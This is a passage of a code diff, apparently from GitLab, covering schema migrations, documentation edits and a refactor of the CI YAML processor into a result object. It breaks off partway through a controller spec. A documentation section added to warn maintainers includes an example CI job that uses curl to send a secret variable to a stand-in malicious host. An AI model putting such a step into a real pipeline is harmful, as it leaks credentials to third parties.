\ No newline at end of file diff --git a/db/schema_migrations/20200827114902 b/db/schema_migrations/20200827114902 new file mode 100644 index 00000000000..769a0a56b4b --- /dev/null +++ b/db/schema_migrations/20200827114902 @@ -0,0 +1 @@ +f581bd5f5ec26dc33643c77fb8c7a64a9053b55c3f6a7281fea89ac4790a58d2
\ No newline at end of file diff --git a/db/schema_migrations/20200828155134 b/db/schema_migrations/20200828155134 new file mode 100644 index 00000000000..f622a308fcc --- /dev/null +++ b/db/schema_migrations/20200828155134 @@ -0,0 +1 @@ +b3ee994231a8da694dbcda227b37e19a2112be666648d918425b064ec19d239e
\ No newline at end of file diff --git a/db/schema_migrations/20200828155205 b/db/schema_migrations/20200828155205 new file mode 100644 index 00000000000..d864c122afa --- /dev/null +++ b/db/schema_migrations/20200828155205 @@ -0,0 +1 @@ +b575558752206149171a05231e4167e1ac3e1295f76d800edfe3d61c1b996b52
\ No newline at end of file diff --git a/db/structure.sql b/db/structure.sql index 58d309bf79e..791253dc43d 100644 --- a/db/structure.sql +++ b/db/structure.sql @@ -8930,6 +8930,22 @@ CREATE SEQUENCE public.analytics_cycle_analytics_project_stages_id_seq ALTER SEQUENCE public.analytics_cycle_analytics_project_stages_id_seq OWNED BY public.analytics_cycle_analytics_project_stages.id; +CREATE TABLE public.analytics_instance_statistics_measurements ( + id bigint NOT NULL, + count bigint NOT NULL, + recorded_at timestamp with time zone NOT NULL, + identifier smallint NOT NULL +); + +CREATE SEQUENCE public.analytics_instance_statistics_measurements_id_seq + START WITH 1 + INCREMENT BY 1 + NO MINVALUE + NO MAXVALUE + CACHE 1; + +ALTER SEQUENCE public.analytics_instance_statistics_measurements_id_seq OWNED BY public.analytics_instance_statistics_measurements.id; + CREATE TABLE public.analytics_language_trend_repository_languages ( file_count integer DEFAULT 0 NOT NULL, programming_language_id bigint NOT NULL, @@ -15371,6 +15387,25 @@ CREATE SEQUENCE public.scim_oauth_access_tokens_id_seq ALTER SEQUENCE public.scim_oauth_access_tokens_id_seq OWNED BY public.scim_oauth_access_tokens.id; +CREATE TABLE public.security_findings ( + id bigint NOT NULL, + scan_id bigint NOT NULL, + scanner_id bigint NOT NULL, + severity smallint NOT NULL, + confidence smallint NOT NULL, + project_fingerprint text NOT NULL, + CONSTRAINT check_b9508c6df8 CHECK ((char_length(project_fingerprint) <= 40)) +); + +CREATE SEQUENCE public.security_findings_id_seq + START WITH 1 + INCREMENT BY 1 + NO MINVALUE + NO MAXVALUE + CACHE 1; + +ALTER SEQUENCE public.security_findings_id_seq OWNED BY public.security_findings.id; + CREATE TABLE public.security_scans ( id bigint NOT NULL, created_at timestamp with time zone NOT NULL, @@ -16814,6 +16849,8 @@ ALTER TABLE ONLY public.analytics_cycle_analytics_group_value_streams ALTER COLU ALTER TABLE ONLY public.analytics_cycle_analytics_project_stages ALTER COLUMN id SET DEFAULT nextval('public.analytics_cycle_analytics_project_stages_id_seq'::regclass); +ALTER TABLE ONLY public.analytics_instance_statistics_measurements ALTER COLUMN id SET DEFAULT nextval('public.analytics_instance_statistics_measurements_id_seq'::regclass); + ALTER TABLE ONLY public.appearances ALTER COLUMN id SET DEFAULT nextval('public.appearances_id_seq'::regclass); ALTER TABLE ONLY public.application_setting_terms ALTER COLUMN id SET DEFAULT nextval('public.application_setting_terms_id_seq'::regclass); @@ -17368,6 +17405,8 @@ ALTER TABLE ONLY public.scim_identities ALTER COLUMN id SET DEFAULT nextval('pub ALTER TABLE ONLY public.scim_oauth_access_tokens ALTER COLUMN id SET DEFAULT nextval('public.scim_oauth_access_tokens_id_seq'::regclass); +ALTER TABLE ONLY public.security_findings ALTER COLUMN id SET DEFAULT nextval('public.security_findings_id_seq'::regclass); + ALTER TABLE ONLY public.security_scans ALTER COLUMN id SET DEFAULT nextval('public.security_scans_id_seq'::regclass); ALTER TABLE ONLY public.self_managed_prometheus_alert_events ALTER COLUMN id SET DEFAULT nextval('public.self_managed_prometheus_alert_events_id_seq'::regclass); @@ -17712,6 +17751,9 @@ ALTER TABLE ONLY public.analytics_cycle_analytics_group_value_streams ALTER TABLE ONLY public.analytics_cycle_analytics_project_stages ADD CONSTRAINT analytics_cycle_analytics_project_stages_pkey PRIMARY KEY (id); +ALTER TABLE ONLY public.analytics_instance_statistics_measurements + ADD CONSTRAINT analytics_instance_statistics_measurements_pkey PRIMARY KEY (id); + ALTER TABLE ONLY public.appearances ADD CONSTRAINT appearances_pkey PRIMARY KEY (id); @@ -18627,6 +18669,9 @@ ALTER TABLE ONLY public.scim_identities ALTER TABLE ONLY public.scim_oauth_access_tokens ADD CONSTRAINT scim_oauth_access_tokens_pkey PRIMARY KEY (id); +ALTER TABLE ONLY public.security_findings + ADD CONSTRAINT security_findings_pkey PRIMARY KEY (id); + ALTER TABLE ONLY public.security_scans ADD CONSTRAINT security_scans_pkey PRIMARY KEY (id); @@ -20325,6 +20370,8 @@ CREATE INDEX index_on_id_partial_with_legacy_storage ON public.projects USING bt CREATE INDEX index_on_identities_lower_extern_uid_and_provider ON public.identities USING btree (lower((extern_uid)::text), provider); +CREATE UNIQUE INDEX index_on_instance_statistics_recorded_at_and_identifier ON public.analytics_instance_statistics_measurements USING btree (identifier, recorded_at); + CREATE INDEX index_on_users_name_lower ON public.users USING btree (lower((name)::text)); CREATE INDEX index_open_project_tracker_data_on_service_id ON public.open_project_tracker_data USING btree (service_id); @@ -20797,6 +20844,16 @@ CREATE INDEX index_secure_ci_builds_on_user_id_created_at_parser_features ON pub CREATE INDEX index_security_ci_builds_on_name_and_id_parser_features ON public.ci_builds USING btree (name, id) WHERE (((name)::text = ANY (ARRAY[('container_scanning'::character varying)::text, ('dast'::character varying)::text, ('dependency_scanning'::character varying)::text, ('license_management'::character varying)::text, ('sast'::character varying)::text, ('secret_detection'::character varying)::text, ('coverage_fuzzing'::character varying)::text, ('license_scanning'::character varying)::text])) AND ((type)::text = 'Ci::Build'::text)); +CREATE INDEX index_security_findings_on_confidence ON public.security_findings USING btree (confidence); + +CREATE INDEX index_security_findings_on_project_fingerprint ON public.security_findings USING btree (project_fingerprint); + +CREATE INDEX index_security_findings_on_scan_id ON public.security_findings USING btree (scan_id); + +CREATE INDEX index_security_findings_on_scanner_id ON public.security_findings USING btree (scanner_id); + +CREATE INDEX index_security_findings_on_severity ON public.security_findings USING btree (severity); + CREATE INDEX index_self_managed_prometheus_alert_events_on_environment_id ON public.self_managed_prometheus_alert_events USING btree (environment_id); CREATE INDEX index_sent_notifications_on_noteable_type_noteable_id ON public.sent_notifications USING btree (noteable_id) WHERE ((noteable_type)::text = 'Issue'::text); @@ -22674,6 +22731,9 @@ ALTER TABLE ONLY public.list_user_preferences ALTER TABLE ONLY public.project_custom_attributes ADD CONSTRAINT fk_rails_719c3dccc5 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE; +ALTER TABLE ONLY public.security_findings + ADD CONSTRAINT fk_rails_729b763a54 FOREIGN KEY (scanner_id) REFERENCES public.vulnerability_scanners(id) ON DELETE CASCADE; + ALTER TABLE ONLY public.dast_scanner_profiles ADD CONSTRAINT fk_rails_72a8ba7141 FOREIGN KEY (project_id) REFERENCES public.projects(id) ON DELETE CASCADE; @@ -23007,6 +23067,9 @@ ALTER TABLE ONLY public.approval_project_rules_users ALTER TABLE ONLY public.lists ADD CONSTRAINT fk_rails_baed5f39b7 FOREIGN KEY (milestone_id) REFERENCES public.milestones(id) ON DELETE CASCADE; +ALTER TABLE ONLY public.security_findings + ADD CONSTRAINT fk_rails_bb63863cf1 FOREIGN KEY (scan_id) REFERENCES public.security_scans(id) ON DELETE CASCADE; + ALTER TABLE ONLY public.approval_merge_request_rules_users ADD CONSTRAINT fk_rails_bc8972fa55 FOREIGN KEY (user_id) REFERENCES public.users(id) ON DELETE CASCADE; diff --git a/doc/administration/reference_architectures/2k_users.md b/doc/administration/reference_architectures/2k_users.md index 44c210efa62..bbea7107b11 100644 --- a/doc/administration/reference_architectures/2k_users.md +++ b/doc/administration/reference_architectures/2k_users.md @@ -348,50 +348,51 @@ are supported and can be added if needed. ## Configure Gitaly -Deploying Gitaly in its own server can benefit GitLab installations that are -larger than a single machine. Gitaly node requirements are dependent on data, -specifically the number of projects and their sizes. It's recommended that each -Gitaly node store no more than 5TB of data. Your 2K setup may require one or more -nodes depending on your repository storage requirements. - -We strongly recommend that all Gitaly nodes should be set up with SSD disks with a throughput of at least -8,000 IOPS for read operations and 2,000 IOPS for write, as Gitaly has heavy I/O. -These IOPS values are recommended only as a starter as with time they may be -adjusted higher or lower depending on the scale of your environment's workload. -If you're running the environment on a Cloud provider -you may need to refer to their documentation on how configure IOPS correctly. - -Some things to note: - -- The GitLab Rails application shards repositories into [repository storages](../repository_storage_paths.md). -- A Gitaly server can host one or more storages. -- A GitLab server can use one or more Gitaly servers. -- Gitaly addresses must be specified in such a way that they resolve - correctly for ALL Gitaly clients. +[Gitaly](../gitaly/index.md) server node requirements are dependent on data, +specifically the number of projects and those projects' sizes. It's recommended +that a Gitaly server node stores no more than 5TB of data. Although this +reference architecture includes a single Gitaly server node, you may require +additional nodes depending on your repository storage requirements. + +Due to Gitaly having notable input and output requirements, we strongly +recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs +should have a throughput of at least 8,000 +input/output operations per second (IOPS) for read operations and 2,000 IOPS +for write operations. These IOPS values are initial recommendations, and may be +adjusted to greater or lesser values depending on the scale of your +environment's workload. If you're running the environment on a Cloud provider, +refer to their documentation about how to configure IOPS correctly. + +Be sure to note the following items: + +- The GitLab Rails application shards repositories into + [repository storage paths](../repository_storage_paths.md). +- A Gitaly server can host one or more storage paths. +- A GitLab server can use one or more Gitaly server nodes. +- Gitaly addresses must be specified to be correctly resolvable for *all* + Gitaly clients. - Gitaly servers must not be exposed to the public internet, as Gitaly's network traffic is unencrypted by default. The use of a firewall is highly recommended to restrict access to the Gitaly server. Another option is to [use TLS](#gitaly-tls-support). -TIP: **Tip:** -For more information about Gitaly's history and network architecture see the -[standalone Gitaly documentation](../gitaly/index.md). - -Note: **Note:** The token referred to throughout the Gitaly documentation is -just an arbitrary password selected by the administrator. It is unrelated to -tokens created for the GitLab API or other similar web API tokens. +NOTE: **Note:** +The token referred to throughout the Gitaly documentation is an arbitrary +password selected by the administrator. This token is unrelated to tokens +created for the GitLab API or other similar web API tokens. -Below we describe how to configure one Gitaly server `gitaly1.internal` with -secret token `gitalysecret`. We assume your GitLab installation has two -repository storages: `default` and `storage1`. +The following procedure describes how to configure a single Gitaly server named +`gitaly1.internal` with the secret token `gitalysecret`. We assume your GitLab +installation has two repository storages: `default` and `storage1`. To configure the Gitaly server: -1. [Download/Install](https://about.gitlab.com/install/) the Omnibus GitLab - package you want using **steps 1 and 2** from the GitLab downloads page but - **without** providing the `EXTERNAL_URL` value. -1. Edit `/etc/gitlab/gitlab.rb` to configure storage paths, enable - the network listener and configure the token: +1. On the server node you want to use for Gitaly, + [download and install](https://about.gitlab.com/install/) your selected + Omnibus GitLab package using *steps 1 and 2* from the GitLab downloads page, + but *without* providing the `EXTERNAL_URL` value. +1. Edit the Gitaly server node's `/etc/gitlab/gitlab.rb` file to configure + storage paths, enable the network listener, and to configure the token: <!-- updates to following example must also be made at @@ -440,11 +441,7 @@ To configure the Gitaly server: # Set the network addresses that the exporters used for monitoring will listen on node_exporter['listen_address'] = '0.0.0.0:9100' - ``` -1. Append the following to `/etc/gitlab/gitlab.rb` on `gitaly1.internal`: - - ```ruby git_data_dirs({ 'default' => { 'path' => '/var/opt/gitlab/git-data' @@ -455,12 +452,7 @@ To configure the Gitaly server: }) ``` - <!-- - updates to following example must also be made at - https://gitlab.com/gitlab-org/charts/gitlab/blob/master/doc/advanced/external-gitaly/external-omnibus-gitaly.md#configure-omnibus-gitlab - --> - -1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). +1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). 1. Confirm that Gitaly can perform callbacks to the internal API: ```shell diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md index 5acaf7cfcce..fd698fb65b1 100644 --- a/doc/ci/variables/README.md +++ b/doc/ci/variables/README.md @@ -141,6 +141,25 @@ The output is: ![Output custom variable](img/custom_variables_output.png) +Variables can only be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions). + +#### Security + +Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables and send them to a third party server regardless of the masked setting. If the pipeline runs on a [protected branch](../../user/project/protected_branches.md) or [protected tag](../../user/project/protected_tags.md), it could also compromise protected variables. + +All merge requests that introduce changes to `.gitlab-ci.yml` should be reviewed carefully before: + +- [Running a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project-starter). +- Merging the changes. + +Here is a simplified example of a malicious `.gitlab-ci.yml`: + +```yaml +build: + script: + - curl --request POST --data "secret_variable=$SECRET_VARIABLE" https://maliciouswebsite.abcd/ +``` + ### Custom environment variables of type Variable > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11. @@ -215,8 +234,8 @@ You can't mask variables that don't meet these requirements. > Introduced in GitLab 9.3. Variables can be protected. When a variable is -protected, it is securely passed to pipelines running on -[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md) only. The other pipelines do not get +protected, it is only passed to pipelines running on +[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines do not get the protected variable. To protect a variable: @@ -227,8 +246,7 @@ To protect a variable: 1. Select the **Protect variable** check box. 1. Click **Update variable**. -The variable is available for all subsequent pipelines. Protected variables can only -be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions). +The variable is available for all subsequent pipelines. ### Custom variables validated by GitLab diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md index 42ae9e97d8a..0150964ad28 100644 --- a/doc/ci/variables/predefined_variables.md +++ b/doc/ci/variables/predefined_variables.md @@ -43,6 +43,7 @@ Kubernetes-specific environment variables are detailed in the | `CI_COMMIT_BRANCH` | 12.6 | 0.5 | The commit branch name. Present only when building branches. | | `CI_COMMIT_TAG` | 9.0 | 0.5 | The commit tag name. Present only when building tags. | | `CI_COMMIT_TITLE` | 10.8 | all | The title of the commit - the full first line of the message | +| `CI_COMMIT_TIMESTAMP` | 13.4 | all | The timestamp of the commit in the ISO 8601 format. | | `CI_CONCURRENT_ID` | all | 11.10 | Unique ID of build execution within a single executor. | | `CI_CONCURRENT_PROJECT_ID` | all | 11.10 | Unique ID of build execution within a single executor and project. | | `CI_CONFIG_PATH` | 9.4 | 0.5 | The path to CI configuration file. Defaults to `.gitlab-ci.yml` | diff --git a/doc/ci/yaml/README.md b/doc/ci/yaml/README.md index 97935536f2c..8d600dfd5d1 100644 --- a/doc/ci/yaml/README.md +++ b/doc/ci/yaml/README.md @@ -1335,6 +1335,8 @@ expression string per rule, rather than an array of them. Any set of expressions evaluated can be [conjoined into a single expression](../variables/README.md#conjunction--disjunction) by using `&&` or `||`, and use the [variable matching syntax](../variables/README.md#syntax-of-environment-variable-expressions). +Unlike variables in [`script`](../variables/README.md#syntax-of-environment-variables-in-job-scripts) +sections, variables in rules expressions are always formatted as `$VARIABLE`. `if:` clauses are evaluated based on the values of [predefined environment variables](../variables/predefined_variables.md) or [custom environment variables](../variables/README.md#custom-environment-variables). diff --git a/doc/install/requirements.md b/doc/install/requirements.md index 89e9543d582..ab338439d08 100644 --- a/doc/install/requirements.md +++ b/doc/install/requirements.md @@ -263,8 +263,6 @@ For reference, GitLab.com's [auto-scaling shared runner](../user/gitlab_com/inde CAUTION: **Caution:** With GitLab 13.0 (May 2020) we have removed official support for Internet Explorer 11. -With the release of GitLab 13.4 (September 2020) we will remove all code that supports Internet Explorer 11. -You can provide feedback [on this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/197987) or via your usual support channels. GitLab supports the following web browsers: @@ -276,7 +274,7 @@ GitLab supports the following web browsers: For the listed web browsers, GitLab supports: -- The current and previous major versions of browsers except Internet Explorer. +- The current and previous major versions of browsers. - The current minor version of a supported major version. NOTE: **Note:** diff --git a/lib/api/project_snippets.rb b/lib/api/project_snippets.rb index fba4c60504f..0d27a3eca26 100644 --- a/lib/api/project_snippets.rb +++ b/lib/api/project_snippets.rb @@ -95,7 +95,7 @@ module API optional :visibility, type: String, values: Gitlab::VisibilityLevel.string_values, desc: 'The visibility of the snippet' - at_least_one_of :title, :file_name, :content, :visibility_level + at_least_one_of :title, :file_name, :content, :visibility end # rubocop: disable CodeReuse/ActiveRecord put ":id/snippets/:snippet_id" do diff --git a/lib/gitlab/ci/config.rb b/lib/gitlab/ci/config.rb index d81a3fef1f5..9d269831679 100644 --- a/lib/gitlab/ci/config.rb +++ b/lib/gitlab/ci/config.rb @@ -62,6 +62,10 @@ module Gitlab root.jobs_value end + def normalized_jobs + @normalized_jobs ||= Ci::Config::Normalizer.new(jobs).normalize_jobs + end + private def expand_config(config) diff --git a/lib/gitlab/ci/config/normalizer.rb b/lib/gitlab/ci/config/normalizer.rb index 451ba14bb89..22fcd84c968 100644 --- a/lib/gitlab/ci/config/normalizer.rb +++ b/lib/gitlab/ci/config/normalizer.rb @@ -11,6 +11,7 @@ module Gitlab end def normalize_jobs + return {} unless @jobs_config return @jobs_config if parallelized_jobs.empty? expand_parallelize_jobs do |job_name, config| diff --git a/lib/gitlab/ci/lint.rb b/lib/gitlab/ci/lint.rb index eb566fd72c1..356463493cb 100644 --- a/lib/gitlab/ci/lint.rb +++ b/lib/gitlab/ci/lint.rb @@ -45,14 +45,15 @@ module Gitlab end def static_validation(content) - result = Gitlab::Ci::YamlProcessor.new_with_validation_errors( + result = Gitlab::Ci::YamlProcessor.new( content, project: @project, user: @current_user, - sha: @project.repository.commit.sha) + sha: @project.repository.commit.sha + ).execute Result.new( - jobs: static_validation_convert_to_jobs(result.config&.stages, result.config&.builds), + jobs: static_validation_convert_to_jobs(result), errors: result.errors, warnings: result.warnings ) @@ -76,12 +77,12 @@ module Gitlab end end - def static_validation_convert_to_jobs(stages, all_jobs) + def static_validation_convert_to_jobs(result) jobs = [] - return jobs unless stages || all_jobs + return jobs unless result.valid? - stages.each do |stage_name| - all_jobs.each do |job| + result.stages.each do |stage_name| + result.builds.each do |job| next unless job[:stage] == stage_name jobs << { diff --git a/lib/gitlab/ci/pipeline/chain/config/process.rb b/lib/gitlab/ci/pipeline/chain/config/process.rb index 2cfcb295407..5eaad1b9485 100644 --- a/lib/gitlab/ci/pipeline/chain/config/process.rb +++ b/lib/gitlab/ci/pipeline/chain/config/process.rb @@ -11,20 +11,23 @@ module Gitlab def perform! raise ArgumentError, 'missing config content' unless @command.config_content - @command.config_processor = ::Gitlab::Ci::YamlProcessor.new( + result = ::Gitlab::Ci::YamlProcessor.new( @command.config_content, { project: project, sha: @pipeline.sha, user: current_user, parent_pipeline: parent_pipeline } - ) + ).execute + + add_warnings_to_pipeline(result.warnings) - add_warnings_to_pipeline(@command.config_processor.warnings) - rescue Gitlab::Ci::YamlProcessor::ValidationError => ex - add_warnings_to_pipeline(ex.warnings) + if result.valid? + @command.config_processor = result + else + error(result.errors.first, config_error: true) + end - error(ex.message, config_error: true) rescue => ex Gitlab::ErrorTracking.track_exception(ex, project_id: project.id, diff --git a/lib/gitlab/ci/yaml_processor.rb b/lib/gitlab/ci/yaml_processor.rb index b7046064f44..ee55eb8b22a 100644 --- a/lib/gitlab/ci/yaml_processor.rb +++ b/lib/gitlab/ci/yaml_processor.rb @@ -1,183 +1,65 @@ # frozen_string_literal: true +# This is the CI Linter component that runs the syntax validations +# while parsing the YAML config into a data structure that is +# then presented to the caller as result object. +# After syntax validations (done by Ci::Config), this component also +# runs logical validation on the built data structure. module Gitlab module Ci class YamlProcessor - # ValidationError is treated like a result object in the form of an exception. - # We can return any warnings, raised during the config validation, along with - # the error object until we support multiple messages to be returned. - class ValidationError < StandardError - attr_reader :warnings - - def initialize(message, warnings: []) - @warnings = warnings - super(message) - end - end - - include Gitlab::Config::Entry::LegacyValidationHelpers + ValidationError = Class.new(StandardError) - attr_reader :stages, :jobs + def self.validation_message(content, opts = {}) + result = new(content, opts).execute - class Result - attr_reader :config, :errors, :warnings + result.errors.first + end - def initialize(config: nil, errors: [], warnings: []) - @config = config - @errors = errors - @warnings = warnings - end + def initialize(config_content, opts = {}) + @config_content = config_content + @opts = opts + end - def valid? - config.present? && errors.empty? + def execute + if @config_content.blank? + return Result.new(errors: ['Please provide content of .gitlab-ci.yml']) end - end - def initialize(config, opts = {}) - @ci_config = Gitlab::Ci::Config.new(config, **opts) - @config = @ci_config.to_hash + @ci_config = Gitlab::Ci::Config.new(@config_content, **@opts) unless @ci_config.valid? - error!(@ci_config.errors.first) + return Result.new(ci_config: @ci_config, errors: @ci_config.errors, warnings: @ci_config.warnings) end - initial_parsing - rescue Gitlab::Ci::Config::ConfigError => e - error!(e.message) - end - - def self.new_with_validation_errors(content, opts = {}) - return Result.new(errors: ['Please provide content of .gitlab-ci.yml']) if content.blank? + run_logical_validations! - config = Gitlab::Ci::Config.new(content, **opts) - return Result.new(errors: config.errors, warnings: config.warnings) unless config.valid? - - config = Gitlab::Ci::YamlProcessor.new(content, opts) - Result.new(config: config, warnings: config.warnings) - - rescue ValidationError => e - Result.new(errors: [e.message], warnings: e.warnings) + Result.new(ci_config: @ci_config, warnings: @ci_config&.warnings) rescue Gitlab::Ci::Config::ConfigError => e - Result.new(errors: [e.message]) - end - - def warnings - @ci_config&.warnings || [] - end - - def builds - @jobs.map do |name, _| - build_attributes(name) - end - end - - def build_attributes(name) - job = @jobs.fetch(name.to_sym, {}) - - { stage_idx: @stages.index(job[:stage]), - stage: job[:stage], - tag_list: job[:tags], - name: job[:name].to_s, - allow_failure: job[:ignore], - when: job[:when] || 'on_success', - environment: job[:environment_name], - coverage_regex: job[:coverage], - yaml_variables: transform_to_yaml_variables(job[:variables]), - needs_attributes: job.dig(:needs, :job), - interruptible: job[:interruptible], - only: job[:only], - except: job[:except], - rules: job[:rules], - cache: job[:cache], - resource_group_key: job[:resource_group], - scheduling_type: job[:scheduling_type], - secrets: job[:secrets], - options: { - image: job[:image], - services: job[:services], - artifacts: job[:artifacts], - dependencies: job[:dependencies], - cross_dependencies: job.dig(:needs, :cross_dependency), - job_timeout: job[:timeout], - before_script: job[:before_script], - script: job[:script], - after_script: job[:after_script], - environment: job[:environment], - retry: job[:retry], - parallel: job[:parallel], - instance: job[:instance], - start_in: job[:start_in], - trigger: job[:trigger], - bridge_needs: job.dig(:needs, :bridge)&.first, - release: release(job) - }.compact }.compact - end + Result.new(ci_config: @ci_config, errors: [e.message], warnings: @ci_config&.warnings) - def release(job) - job[:release] - end - - def stage_builds_attributes(stage) - @jobs.values - .select { |job| job[:stage] == stage } - .map { |job| build_attributes(job[:name]) } - end - - def stages_attributes - @stages.uniq.map do |stage| - seeds = stage_builds_attributes(stage) - - { name: stage, index: @stages.index(stage), builds: seeds } - end - end - - def workflow_attributes - { - rules: @config.dig(:workflow, :rules), - yaml_variables: transform_to_yaml_variables(@variables) - } - end - - def self.validation_message(content, opts = {}) - return 'Please provide content of .gitlab-ci.yml' if content.blank? - - begin - Gitlab::Ci::YamlProcessor.new(content, opts) - nil - rescue ValidationError => e - e.message - end + rescue ValidationError => e + Result.new(ci_config: @ci_config, errors: [e.message], warnings: @ci_config&.warnings) end private - def initial_parsing - ## - # Global config - # - @variables = @ci_config.variables + def run_logical_validations! @stages = @ci_config.stages - - ## - # Jobs - # - @jobs = Ci::Config::Normalizer.new(@ci_config.jobs).normalize_jobs + @jobs = @ci_config.normalized_jobs @jobs.each do |name, job| - # logical validation for job - validate_job_stage!(name, job) - validate_job_dependencies!(name, job) - validate_job_needs!(name, job) - validate_dynamic_child_pipeline_dependencies!(name, job) - validate_job_environment!(name, job) + validate_job!(name, job) end end - def transform_to_yaml_variables(variables) - variables.to_h.map do |key, value| - { key: key.to_s, value: value, public: true } - end + def validate_job!(name, job) + validate_job_stage!(name, job) + validate_job_dependencies!(name, job) + validate_job_needs!(name, job) + validate_dynamic_child_pipeline_dependencies!(name, job) + validate_job_environment!(name, job) end def validate_job_stage!(name, job) @@ -188,10 +70,6 @@ module Gitlab end end - def error!(message) - raise ValidationError.new(message, warnings: warnings) - end - def validate_job_dependencies!(name, job) return unless job[:dependencies] @@ -267,6 +145,10 @@ module Gitlab error!("#{name} job: on_stop job #{on_stop} needs to have action stop defined") end end + + def error!(message) + raise ValidationError.new(message) + end end end end diff --git a/lib/gitlab/ci/yaml_processor/result.rb b/lib/gitlab/ci/yaml_processor/result.rb new file mode 100644 index 00000000000..68f61e52df7 --- /dev/null +++ b/lib/gitlab/ci/yaml_processor/result.rb @@ -0,0 +1,120 @@ +# frozen_string_literal: true + +# A data object that wraps `Ci::Config` and any messages +# (errors, warnings) generated by the YamlProcessor. +module Gitlab + module Ci + class YamlProcessor + class Result + attr_reader :errors, :warnings + + def initialize(ci_config: nil, errors: [], warnings: []) + @ci_config = ci_config + @errors = errors || [] + @warnings = warnings || [] + end + + def valid? + errors.empty? + end + + def stages_attributes + stages.uniq.map do |stage| + seeds = stage_builds_attributes(stage) + + { name: stage, index: stages.index(stage), builds: seeds } + end + end + + def builds + jobs.map do |name, _| + build_attributes(name) + end + end + + def stage_builds_attributes(stage) + jobs.values + .select { |job| job[:stage] == stage } + .map { |job| build_attributes(job[:name]) } + end + + def workflow_attributes + { + rules: hash_config.dig(:workflow, :rules), + yaml_variables: transform_to_yaml_variables(variables) + } + end + + def jobs + @jobs ||= @ci_config.normalized_jobs + end + + def stages + @stages ||= @ci_config.stages + end + + def build_attributes(name) + job = jobs.fetch(name.to_sym, {}) + + { stage_idx: stages.index(job[:stage]), + stage: job[:stage], + tag_list: job[:tags], + name: job[:name].to_s, + allow_failure: job[:ignore], + when: job[:when] || 'on_success', + environment: job[:environment_name], + coverage_regex: job[:coverage], + yaml_variables: transform_to_yaml_variables(job[:variables]), + needs_attributes: job.dig(:needs, :job), + interruptible: job[:interruptible], + only: job[:only], + except: job[:except], + rules: job[:rules], + cache: job[:cache], + resource_group_key: job[:resource_group], + scheduling_type: job[:scheduling_type], + secrets: job[:secrets], + options: { + image: job[:image], + services: job[:services], + artifacts: job[:artifacts], + dependencies: job[:dependencies], + cross_dependencies: job.dig(:needs, :cross_dependency), + job_timeout: job[:timeout], + before_script: job[:before_script], + script: job[:script], + after_script: job[:after_script], + environment: job[:environment], + retry: job[:retry], + parallel: job[:parallel], + instance: job[:instance], + start_in: job[:start_in], + trigger: job[:trigger], + bridge_needs: job.dig(:needs, :bridge)&.first, + release: release(job) + }.compact }.compact + end + + private + + def variables + @variables ||= @ci_config.variables + end + + def hash_config + @hash_config ||= @ci_config.to_hash + end + + def release(job) + job[:release] + end + + def transform_to_yaml_variables(variables) + variables.to_h.map do |key, value| + { key: key.to_s, value: value, public: true } + end + end + end + end + end +end diff --git a/locale/gitlab.pot b/locale/gitlab.pot index 063df4871cf..fca2bc8cc3b 100644 --- a/locale/gitlab.pot +++ b/locale/gitlab.pot @@ -17338,18 +17338,12 @@ msgstr "" msgid "Outbound requests" msgstr "" -msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11." -msgstr "" - msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser." msgstr "" msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience." msgstr "" -msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels." -msgstr "" - msgid "Outdent" msgstr "" diff --git a/spec/controllers/projects/ci/lints_controller_spec.rb b/spec/controllers/projects/ci/lints_controller_spec.rb index 20025c9b045..332d12fe895 100644 --- a/spec/controllers/projects/ci/lints_controller_spec.rb +++ b/spec/controllers/projects/ci/lints_controller_spec.rb @@ -98,7 +98,7 @@ RSpec.describe Projects::Ci::LintsController do it_behaves_like 'returns a successful validation' it 'runs validations through YamlProcessor' do - expect(Gitlab::Ci::YamlProcessor).to receive(:new_with_validation_errors).and_call_original + expect(Gitlab::Ci::YamlProcessor).to receive(:new).and_call_original subject end @@ -126,7 +126,7 @@ RSpec.describe Projects::Ci::LintsController do it_behaves_like 'returns a successful validation' it 'runs validations through YamlProcessor' do - expect(Gitlab::Ci::YamlProcessor).to receive(:new_with_validation_errors).and_call_original + expect(Gitlab::Ci::YamlProcessor).to receive(:new).and_call_original subject end diff --git a/spec/controllers/projects/jobs_controller_spec.rb b/spec/controllers/projects/jobs_controller_spec.rb index 818b1c30b37..94cce1964ca 100644 --- a/spec/controllers/projects/jobs_controller_spec.rb +++ b/spec/controllers/projects/jobs_controller_spec.rb @@ -201,33 +201,61 @@ RSpec.describe Projects::JobsController, :clean_gitlab_redis_shared_state do end context 'when job has artifacts' do - before do - get_show_json - end - context 'with not expiry date' do let(:job) { create(:ci_build, :success, :artifacts, pipeline: pipeline) } it 'exposes needed information' do + get_show_json + expect(response).to have_gitlab_http_status(:ok) expect(response).to match_response_schema('job/job_details') expect(json_response['artifact']['download_path']).to match(%r{artifacts/download}) expect(json_response['artifact']['browse_path']).to match(%r{artifacts/browse}) + expect(json_response['artifact']).not_to have_key('keep_path') expect(json_response['artifact']).not_to have_key('expired') expect(json_response['artifact']).not_to have_key('expired_at') end end - context 'with expiry date' do + context 'with expired artifacts' do let(:job) { create(:ci_build, :success, :artifacts, :expired, pipeline: pipeline) } - it 'exposes needed information' do - expect(response).to have_gitlab_http_status(:ok) - expect(response).to match_response_schema('job/job_details') - expect(json_response['artifact']).not_to have_key('download_path') - 